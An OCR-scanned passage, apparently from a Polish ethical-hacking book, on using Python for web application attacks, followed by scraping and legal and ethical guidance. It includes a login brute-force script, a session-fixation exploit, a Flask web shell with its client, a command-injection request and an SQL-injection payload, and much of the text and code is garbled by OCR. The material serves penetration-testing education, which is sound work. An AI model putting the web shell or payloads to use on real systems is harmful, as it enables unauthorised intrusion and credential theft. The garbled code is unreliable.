e Ataki stownikowe, wykorzystujgce liste powszechnie uzywanych haset.

e Wypychanie poswiadczen, w ktérym skradzione poswiadczenia konta sg wykorzystywane do
uzyskania nieautoryzowanego dostepu.

Rozwazmy skrypt Pythona, ktéry automatyzuje atak sitowy na formularz logowania:
1 import requests

2

3 url ="" http://example.com/login

4 username = "admin"

5

6 # List of potential passwords

7 passwords = ["password", "admin 123", "guest", "letmein"]

8

9 for password in passwords:

10 response = requests.post(url, data={"username": username, "password": password})
11 if "Login successful” in response.text:

12 print(f"Found correct password: {password}")

13 break

Wykorzystywanie luk w zarzadzaniu sesjami

Po uwierzytelnieniu atakujgcy czesto atakujg mechanizmy zarzgdzania sesjami. Typowe luki obejmuja
fiksacje sesji, gdzie atakujacy naprawia identyfikator sesji uzytkownika przed zalogowaniem sie
uzytkownika, oraz przejecie sesji, gdzie atakujgcy kradnie lub zgaduje identyfikator sesji, aby podszy¢
sie pod uzytkownika. Pythona mozna uzy¢ do zademonstrowania exploita fiksacji sesji:

1 import requests

2

3 # Attacker's session ID

4 session_id ="12345678"

5

6 # Fixating the session ID

7 requests.get("", cookies={"PHPSESSID": session_id})

http://example.corri/login



8

9 # Assuming the victim logs in using the fixated session ID

10 # Attacker now accesses the application with the victim's privileges
11 response = requests.get("", cookies={"PHPSESSID": session_id})
http://example.com/dashboard

12 print(response.text)

Strategie tagodzenia

Aby chronic sie przed atakami uwierzytelniania i zarzgdzania sesjami, mozna zastosowac kilka strategii
tagodzenia:

¢ Wdrozenie mechanizmow blokowania kont po okreslonej liczbie nieudanych préb logowania w celu
obrony przed atakami sitowymi.

e Korzystanie z silnych, unikalnych identyfikatoréw sesji i zapewnienie bezpiecznego przetwarzania
(tworzenia, przesytania i uniewazniania) plikdéw cookie sesji.

e Zastosowanie uwierzytelniania wielosktadnikowego w celu zapewnienia dodatkowej warstwy
bezpieczenstwa wykraczajacej poza hasta.

Rozumiejgc i wykorzystujgc luki w zabezpieczeniach inherentne mechanizmom uwierzytelniania i
zarzadzania sesjami, etyczni hakerzy mogg podkresli¢ znaczenie solidnych praktyk bezpieczenstwa.
Podane przyktady Pythona stanowig podstawe do automatyzacji takich wysitkdéw w zakresie testéw
penetracyjnych. Konieczne jest jednak przestrzeganie wytycznych etycznych i uzyskanie niezbednych
uprawnien przed probg wykorzystania tych luk w rzeczywistych aplikacjach.

Python dla powtok internetowych i zdalnego wykonywania kodu

Powtoki internetowe ucielesniajg unikalng klase luk w zabezpieczeniach aplikacji internetowych,
umozliwiajgc atakujgcym wykonywanie dowolnych polecen lub kodu na serwerze internetowym. Ta
sekcja wyjasnia wykorzystanie jezyka Python do tworzenia i wdrazania powtok internetowych, a
nastepnie przeprowadzanie zadan zdalnego wykonywania kodu jako czesci praktyk testowania
penetracyjnego. Potencjat jezyka Python w tej domenie lezy w jego rozbudowanej bibliotece
standardowej, obstudze protokotéw sieciowych i tatwosci integracji z technologiami internetowymi.
Podstawowym czynnikiem przy stosowaniu jezyka Python w tych celach jest granica etyczna i ramy
prawne regulujgce dziatania zwigzane z testowaniem penetracyjnym.

Podstawowa koncepcja powtok internetowych

Powtoka internetowa to w zasadzie skrypt umieszczany na odstonietym serwerze internetowym w celu
umozliwienia zdalnej administracji. Czesto powtoki internetowe sg pisane w jezykach skryptowych
obstugiwanych przez serwer, takich jak PHP, ASP, Java, Python i Perl. Jednak ta sekcja koncentruje sie
na wykorzystaniu jezyka Python zaréwno do tworzenia powtfok internetowych, jak i tworzenia
klientéw, ktérzy wchodzg w interakcje z tymi powtokami.

Tworzenie prostej powtoki internetowej Pythona

Prostg powtoke internetowg Pythona mozna zaimplementowaé, akceptujac polecenia za
posrednictwem zgdan HTTP i wykonujac je na serwerze. Rozwazmy nastepujacy przykfad:



1 # webshell.py

2 import os

3 from flask import Flask, request

4

5 app = Flask(_name_)

6

7 @app.route(7cmd’, methods=['GET'])
8 def command_execution():

9 cmd = request.args.get(’cmd’)

10 if cmd:

11 return os.popen(cmd).read()

12 else:

13 return "Please provide a command via the 'cmd' query parameter."”
14

15if name_==’__main_

16 app.run(host="0.0.0.0’, port=8080)

Skrypt wykorzystuje Flask, mikro-szkielet sieciowy dla Pythona, aby utworzy¢ podstawowy serwer
sieciowy, ktory nastuchuje zagdan HTTP GET. Po otrzymaniu zgdania wyodrebnia polecenie z parametru
zapytania ,,cmd” i wykonuje je za pomocg os.popen. Dane wyjsciowe polecenia sg nastepnie zwracane
jako odpowiedz HTTP.

Interakcja z powtoka sieciowg

Aby nawigza¢ interakcje z tg powtoka sieciowg, mozna napisaé skrypt klienta w Pythonie. Ponizszy
przyktad demonstruje prostego klienta:

1 # shell_client.py

2 import requests

3

4 target_url ="" http://example.com/cmd
5 while True:

6 cmd = input("Shell>")

7 if cmd.lowerO == "exit":

8 break

9 response = requests.get(target_url, params={'cmd’: cmd})



10 print(response.text)

Skrypt klienta wykorzystuje biblioteke zgdarn do wystania zagdania GET do powtoki internetowej z
zgdanym poleceniem. Odpowiedz, ktéra zawiera dane wyjsciowe wykonania polecenia, jest nastepnie
drukowana na konsoli.

Zdalne wykonywanie kodu

Zdalne wykonywanie kodu stanowi znaczny poziom zagrozenia, poniewaz pozwala atakujagcemu na
uruchomienie dowolnego kodu na serwerze docelowym. Wszechstronnos$¢ i mozliwosci Pythona
mozna wykorzysta¢ do identyfikowania i wykorzystywania takich luk. Tester penetracyjny moze
uzywac skryptow Pythona do wysytania spreparowanych tadunkow, ktdre wykorzystujg znane luki w
zabezpieczeniach aplikacji internetowych, co skutkuje zdalnym wykonywaniem kodu. Na przyktad, jedli
aplikacja internetowa jest podatna na luke polegajgcq na wstrzykiwaniu polecer, mozna utworzy¢
skrypt Pythona w celu wykorzystania tej luki, jak pokazano ponizej:

1 # rce_exploit.py

2 import requests

3

4 exploit_url ="" http://vulnerable-app.com/execute

5 exploit_payload = ['cmd': ’id’} # Example command to execute
6

7 response = requests.post(exploit_url, data=exploit_payload)
8 print("Response:\n", response.text)

Skrypt wysyta zadanie POST do podatnej aplikacji z fadunkiem zaprojektowanym w celu wykorzystania
luki w zabezpieczeniach polegajgcej na wstrzykiwaniu polecen. Dane wyj$ciowe wykonanego polecenia
(w tym przypadku ,,id”) sg drukowane na konsoli. Wazne jest, aby zrozumie¢, ze wdrazanie powtok
internetowych i zdalne wykonywanie kodu w nieautoryzowanych systemach jest nielegalne i
nieetyczne. Te metodologie powinny by¢ stosowane wytgcznie w legalnych testach penetracyjnych, z
wyrazng autoryzacjg wiasciciela docelowego systemu. Powtoki internetowe i zdalne wykonywanie
kodu stanowig luki o wysokim stopniu zagrozenia, ktére czesto sg celem atakujgcych w celu naruszenia
bezpieczenstwa serwerdw internetowych. Python jest poteznym narzedziem zaréwno dla testeréw
penetracyjnych, jak i atakujgcych, oferujgc mozliwosci opracowywania, wdrazania i interakcji z
powtokami internetowymi, a takze wykorzystywania luk w zabezpieczeniach umozliwiajgcych zdalne
wykonywanie kodu. Etyczni hakerzy musza biegle postugiwac¢ sie tymi technikami, aby identyfikowac i
tagodzic takie stabosci, zwiekszajgc tym samym bezpieczenstwo aplikacji internetowych.

Automatyzacja tworzenia niestandardowych exploitéw dla aplikacji internetowych

Automatyzacja procesu tworzenia niestandardowych exploitéw dla aplikacji internetowych moze
znacznie zwiekszy¢ wydajnosc i skutecznos¢ testéw penetracyjnych. Obejmuje to tworzenie skryptéw
w Pythonie, ktére mogg identyfikowad luki, generowac i dostarczaé tadunki oraz ocenia¢ wptyw.
Automatyzujac te procesy, testerzy penetracyjni mogg skupic sie na analizowaniu ztozonych luk, ktore
wymagajg ludzkiej wiedzy, pozostawiajgc powtarzalne i czasochtonne zadania do wykonania przez
skrypty. Na poczatek wazne jest doktadne zrozumienie protokotu HTTP, poniewaz jest on podstawg
aplikacji internetowych. Python udostepnia kilka bibliotek, takich jak zadania i BeautifulSoup, ktére



odpowiednio upraszczajg proces wysytania zgdan HTTP i analizowania dokumentéw HTML. Narzedzia
te s pomocne w automatyzacji interakcji z aplikacjami internetowymi.

Identyfikowanie luk: Pierwszym krokiem w procesie automatyzacji jest identyfikacja potencjalnych luk.
Mozna to osiggnac, wysytajac rozne dane wejsciowe do aplikacji internetowe;j i analizujac odpowiedzi.
Skuteczny skrypt Pythona, ktory miatby to umozliwié, wykorzystywatby biblioteke zgdan do wysytania
zadan i sprawdzania odpowiedzi pod katem oznak luk w zabezpieczeniach, takich jak komunikaty o
btedach lub nieoczekiwane zachowanie.

1 import requests

2

3 def scan_for_vulnerabilities(url, payload):

4 response = requests.post(url, data=payload)
5 if "vulnerability indicator" in response.text:

6 print(f "Potential vulnerability found at {url}")

Generowanie i dostarczanie tadunkéw: Po zidentyfikowaniu potencjalnej luki w zabezpieczeniach,
nastepnym krokiem jest wygenerowanie tadunkdéw, ktére wykorzystujg te luke w zabezpieczeniach.
Wymaga to dogtebnego zrozumienia typu luki w zabezpieczeniach i sposobu, w jaki mozna jg
wykorzysta¢. Elastyczno$¢ Pythona pozwala na tworzenie ztozonych tadunkéow, ktére mozna
dostosowac do konkretnych luk w zabezpieczeniach. Na przyktad w przypadku luk w zabezpieczeniach
typu SQL injection mozna generowac tadunki, ktdre prébujg pobrac poufne informacje z bazy danych.
Nastepnie do dostarczania tych tadunkéw uzywana jest biblioteka zadan.

1 tadunek = UNION SELECT nazwa uzytkownika, hasto Z uzytkownikéw—"
2 scan_fbr_vulnerabilities(target_url, tadunek)

Ocena wptywu: Ostatnim krokiem w procesie automatyzacji jest ocena wptywu exploita. Obejmuje to
analize odpowiedzi otrzymanej po dostarczeniu tadunku. Jesli fadunek zakonczy sie powodzeniem,
odpowiedz moze zawiera¢ poufne informacje lub wskazowki, ze zachowanie aplikacji internetowej
zostato zmienione.

Potencjalna luka zostata znaleziona na stronie http://example.com/login Aby jeszcze bardziej
zautomatyzowaé proces eksploatacji i ocene wptywu, skrypty mogg zawieraé¢ funkcjonalnosé¢ do
analizowania odpowiedzi i identyfikowania udanej eksploatacji luk. Moze to obejmowac uzycie
biblioteki BeautifulSoup do analizowania odpowiedzi HTML i wyodrebniania informacji.

1 from bs4 import BeautifulSoup

2

3 def assess_impact(response):

4 soup = BeautifulSoup(response.text, 'html.parser')
5 # Extract and analyze data from the response

6 pass



Automatyzacja tworzenia niestandardowych exploitow dla aplikacji internetowych wymaga potgczenia
zrozumienia luk w aplikacjach internetowych, biegtosci w Pythonie i efektywnego wykorzystania
dostepnych bibliotek. Dzieki przyjeciu takiej automatyzacji testerzy penetracyjni mogg sprawnie i
skutecznie identyfikowac i wykorzystywac luki, zwiekszajgc tym samym bezpieczenstwo aplikacji
internetowych. Ta sekcja ksigzki podkresla znaczenie automatyzacji procesu tworzenia
niestandardowych exploitow dla aplikacji internetowych przy uzyciu Pythona. Poprzez praktyczne
przyktady i wyjasnienia szczegétowo opisuje kroki, od identyfikacji luk w zabezpieczeniach po ocene
wptywu exploitow.

Web Scraping i ekstrakcja danych za pomocg Pythona

Web scraping to potezna technika stosowana w gromadzeniu i analizie danych, szczegdlnie przydatna
w testach penetracyjnych w celu gromadzenia informacji o docelowych aplikacjach internetowych.
Python, z bogatym ekosystemem bibliotek, prezentuje niezréwnany zestaw narzedzi do web scrapingu,
umozliwiajgcy skuteczng ekstrakcje danych ze stron internetowych. Ta sekcja oméwi metodologie,
narzedzia i kwestie etyczne zwigzane z web scrapingiem na potrzeby testdw penetracyjnych. Zacznijmy
od zrozumienia prawnych i etycznych granic web scrapingu. Konieczne jest upewnienie sie, ze wszelkie
dziatania scrapingowe sg zgodne z warunkami korzystania ze strony internetowej oraz wszelkimi
lokalnymi, krajowymi lub miedzynarodowymi przepisami dotyczacymi prywatnosci danych i
cyberzachowania. Etyczni hakerzy muszg uzyskac wyrazng zgode od wiascicieli strony internetowej lub
aplikacji przed przeprowadzeniem jakiejkolwiek formy scrapingu. Biorac pod uwage te rozwazania,
biblioteki BeautifulSoup i requests jezyka Python to dwa podstawowe narzedzia do przeprowadzania
web scrapingu. BeautifulSoup umozliwia parsowanie dokumentéw HTML i XML, zamieniajac je w
nawigowalne drzewa. Utatwia to wyodrebnianie danych poprzez filtrowanie wedtug tagéw, klas i
atrybutéw. Tymczasem biblioteka requests jest uzywana do wysytania zagdan HTTP do serwerdw
internetowych, umozliwiajgc zbieranie stron internetowych do scrapowania. Ponizszy przykfad
pokazuje, jak uzywaé requests i BeautifulSoup do scrapowania i drukowania tytutdow artykutéw z
hipotetycznej witryny informacyjnej:

1 import requests

2 from bs4 import BeautifulSoup

3

4 # Target URL

5 url ="" https://example-news-site.com

6

7 # Send GET request

8 response = requests.get(url)

9 response.raise_for_status() # ensures we notice bad responses
10

11# Parse the HTML

12 soup = BeautifulSoup(response.text, 'html.parser')

13



14 # Extract article titles
15 for article in soup.find_all(’"h2', class_='article-title'):
16 print(article.text)

W tym przyktadzie zgdanie GET jest wysytane do adresu URL ,https://example-news-site.com”, a
odpowiedz jest parsowana do obiektu BeautifulSoup. Nastepnie metoda find_all jest uzywana do
wyodrebnienia wszystkich elementéw <h2> z klasg ,article-title”, iterujgc po tych elementach, aby
wydrukowac ich zawartos¢ tekstowa. Jesli chodzi o wyodrebnianie danych, biblioteke pandas mozna
czesto zintegrowad, aby uporzadkowa¢ wyodrebnione dane w ustrukturyzowane ramki danych,
utatwiajagc dalszg analize lub przechowywanie. Zatézmy, ze celem jest przechowywanie tytutow w pliku
CSV; pandas mozna uzywacé w nastepujacy sposéb:

1 import pandas as pd

2

3 # Assuming 'titles' is a list of extracted titles

4 titles = [article.text for article in soup.find_all(’h2\ class_=’article-title')]
5

6 # Convert list to DataFrame

7 df = pd.DataFrame(titles, columns=['Article Title’])

8

9 # Save to CSV

10 df.to_csv(’extracted_titles.csv’, index=False)

Ten fragment kodu konwertuje liste tytutéw do pandas DataFrame, a nastepnie eksportuje jg do pliku
CSV o nazwie ,extracted_titles.csv”. Takie podejscie utatwia zbieranie i analize danych internetowych
w celu zidentyfikowania potencjalnych luk lub zebrania informacji podczas testu penetracyjnego. Web
scraping to potezna technika w repertuarze etycznych hakeréw do zbierania cennych danych z
docelowych witryn. Ekosystem bibliotek Pythona, w szczegdlnosci BeautifulSoup, requests i pandas,
zapewnia funkcjonalnos¢ wymagang do skutecznych dziatan scrapingowych. Jednak przestrzeganie
wytycznych etycznych i wymogdw prawnych jest krytyczne podczas stosowania tych technik.

Rozwazania prawne i etyczne w testach penetracyjnych sieci

Testy penetracyjne sieci sg niezbedng czynnoscig w zabezpieczaniu aplikacji internetowych poprzez
identyfikowanie i rozwigzywanie potencjalnych luk. Jednak proces ten obejmuje dostep do tych luk i
potencjalne ich wykorzystanie, co niesie ze sobg istotne implikacje prawne i etyczne. Najwazniejsze
jest, aby testerzy penetracji sieci rozumieli granice legalnego i etycznego hakowania, aby mieé
pewnos¢, ze ich praca przyczynia sie pozytywnie do postawy bezpieczeristwa aplikacji internetowych
bez naruszania prywatnosci, tamania prawa lub norm etycznych.

Ramy prawne regulujace testy penetracji sieci

Ramy prawne dotyczace testdw penetracji sieci réznig sie znacznie w zaleznosci od jurysdykcji, ale
ogélnie koncentrujg sie na nieautoryzowanym dostepie do systemdéw komputerowych, ochronie
danych i przepisach dotyczacych prywatnosci. W Stanach Zjednoczonych ustawa o oszustwach



komputerowych i naduzyciach (CFAA) jest podstawowym aktem prawnym, ktory uznaje dostep do
komputera bez upowaznienia lub przekroczenie upowaznionego dostepu za nielegalne. Podobnie,
ogéblne rozporzadzenie o ochronie danych (RODO) w Unii Europejskiej ogranicza nieautoryzowany
dostep do danych osobowych, naktadajac wysokie grzywny za naruszenia. Przed przeprowadzeniem
jakichkolwiek testéw penetracyjnych konieczne jest uzyskanie wyraznej pisemnej zgody wfasciciela
aplikacji internetowej. Ta zgoda powinna szczegdétowo okresla¢ zakres testéw, w tym systemy, ktére
majq zostac przetestowane, metody testowania, ktére majg zostac¢ uzyte, oraz wszelkie ograniczenia
dziatan testera penetracji.

Wytyczne etyczne dla testeréw penetracji sieci

Etyka odgrywa kluczowg role w kierowaniu postepowaniem testerow penetracji sieci, aby zapewnic,
ze ich dziatania sg zgodne z zasadami szacunku, uczciwosci i celem zwiekszania bezpieczeristwa. Oto
kluczowe wytyczne etyczne, ktérych powinni przestrzegac testerzy:

e Zezwolenie: Upewnij sie, ze uzyskano pisemng zgode od upowaznionej strony przed rozpoczeciem
testowania.

e Zakres: Scile przestrzegaj uzgodnionego zakresu testowania, aby uniknaé dostepu lub testowania
systemow, ktére nie zostaty wyraznie upowaznione.

e Prywatnos¢: Chron wszelkie dane odkryte podczas testowania i unikaj nieautoryzowanego dostepu
lub ujawnienia prywatnych informacji.

¢ Ujawnienie: Odpowiedzialnie ujawniaj podatnosci organizacji w odpowiednim czasie, dajac
wystarczajgco duzo czasu na naprawe przed publicznym ujawnieniem.

e Integralnosé: Unikaj dziatan, ktore mogtyby potencjalnie zaszkodzi¢ systemowi docelowemu, jego
danym lub jego uzytkownikom podczas testowania.

Poruszanie sie po dylematach etycznych w testach penetracyjnych sieci

Pomimo jasnych ram prawnych i wytycznych etycznych, testerzy penetracyjni sieci mogg nadal
napotykac sytuacje, w ktdorych wtasciwy sposdb postepowania jest niejednoznaczny. W takich
przypadkach konieczne jest priorytetowe traktowanie bezpieczerstwa, prywatnosci i integralnosci
systemow i uzytkownikow. Testerzy powinni szukaé wskazéwek w swoich zasadach etycznych,
przyznanych uprawnieniach prawnych, a w razie watpliwosci skonsultowad sie z doradcg prawnym lub
doradcg etycznym, aby poruszac sie po tych dylematach. Podsumowujgc, testowanie penetracyjne
sieci zajmuje krytyczne miejsce w domenie cyberbezpieczenstwa, tgczgc luke miedzy potencjalnymi
lukami w zabezpieczeniach i wzmacniajac aplikacje internetowe przed atakami. Jednak jego praktyka
jest ograniczona przez rygorystyczne wzgledy prawne i etyczne majace na celu ochrone praw i
prywatnosci oséb i organizacji. Testerzy penetracyjni muszg poruszac sie po tym krajobrazie ostroznie,
upewniajac sie, ze ich wysitki na rzecz zabezpieczenia aplikacji internetowych sg zaréwno zgodne z
prawem, jak i etycznie uzasadnione.



